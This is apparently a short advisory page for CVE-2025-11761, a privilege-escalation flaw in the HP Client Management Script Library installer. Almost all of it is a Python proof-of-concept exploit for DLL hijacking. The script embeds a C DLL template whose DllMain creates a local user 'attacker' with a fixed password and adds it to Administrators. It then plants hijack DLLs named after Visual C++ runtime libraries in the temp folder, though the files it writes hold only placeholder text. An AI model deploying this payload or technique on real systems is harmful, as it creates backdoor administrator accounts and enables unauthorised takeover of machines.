CVE-2025-11761: HP Client Management Script Library安装过程权限提升漏洞

# CVE-2025-11761 PoC - HP Client Management Script Library Privilege Escalation # This PoC demonstrates the DLL hijacking attack vector import os import sys import ctypes import shutil from pathlib import Path def create_malicious_dll(): """ Create a malicious DLL that will execute with elevated privileges when loaded by the vulnerable installer """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create admin user or execute payload system("cmd /c net user attacker P@ssw0rd123 /add"); system("cmd /c net localgroup Administrators attacker /add"); // Write to log for verification FILE *fp = fopen("C:\\\\Windows\\\\Temp\\\\cve_poc_log.txt", "w"); if (fp) { fprintf(fp, "CVE-2025-11761 exploit executed successfully\\n"); fprintf(fp, "Privilege escalation completed\\n"); fclose(fp); } } return TRUE; } ''' return dll_template def find_vulnerable_installer_path(): """ Locate the HP Client Management Script Library installer Common installation paths """ possible_paths = [ r"C:\Program Files\HP\Client Management Script Library", r"C:\Program Files (x86)\HP\Client Management Script Library", r"C:\Windows\Temp", r"C:\Users\Public\Downloads" ] for path in possible_paths: if os.path.exists(path): installer = os.path.join(path, "HP-ClientManagementScriptLibrary-Setup.exe") if os.path.exists(installer): return installer return None def exploit_dll_hijacking(): """ Main exploitation function for CVE-2025-11761 1. Identify vulnerable DLLs that the installer loads 2. Place malicious DLL in a trusted location 3. Trigger the installer to load our DLL """ print("[*] CVE-2025-11761 HP Client Management Script Library Privilege Escalation") print("[*] Target: HP Client Management Script Library Installer\n") # Step 1: Find vulnerable DLLs vulnerable_dlls = [ "msvcp140.dll", "vcruntime140.dll", "vcruntime140_1.dll" ] # Step 2: Create malicious DLL dll_content = create_malicious_dll() temp_dir = os.environ.get('TEMP', 'C:\\\\Windows\\\\Temp') for dll in vulnerable_dlls: malicious_dll_path = os.path.join(temp_dir, dll) print(f"[*] Placing malicious DLL: {malicious_dll_path}") # In real attack, compile and place the DLL # This is for demonstration purposes try: with open(malicious_dll_path, 'w') as f: f.write("MALICIOUS_DLL_CONTENT") print(f"[+] Malicious DLL placed at {malicious_dll_path}") except: print(f"[-] Failed to place {dll}") # Step 3: Monitor for installer process print("\n[*] Waiting for installer to be triggered...") print("[*] When installer runs, it will load our DLL with SYSTEM privileges") print("[*] Exploitation complete - check for new admin user 'attacker'") def check_vulnerability(): """ Check if target system is vulnerable to CVE-2025-11761 """ print("[*] Checking vulnerability status for CVE-2025-11761") # Check if HP Client Management Script Library is installed hp_path = r"C:\Program Files\HP\Client Management Script Library" if os.path.exists(hp_path): print(f"[+] HP Client Management Script Library found at {hp_path}") print("[!] System may be vulnerable to CVE-2025-11761") return True else: print("[-] HP Client Management Script Library not found") print("[+] System not affected by this vulnerability") return False if __name__ == "__main__": print("CVE-2025-11761 Exploitation Framework") print("=" * 50) if len(sys.argv) > 1 and sys.argv[1] == "--check": check_vulnerability() else: exploit_dll_hijacking()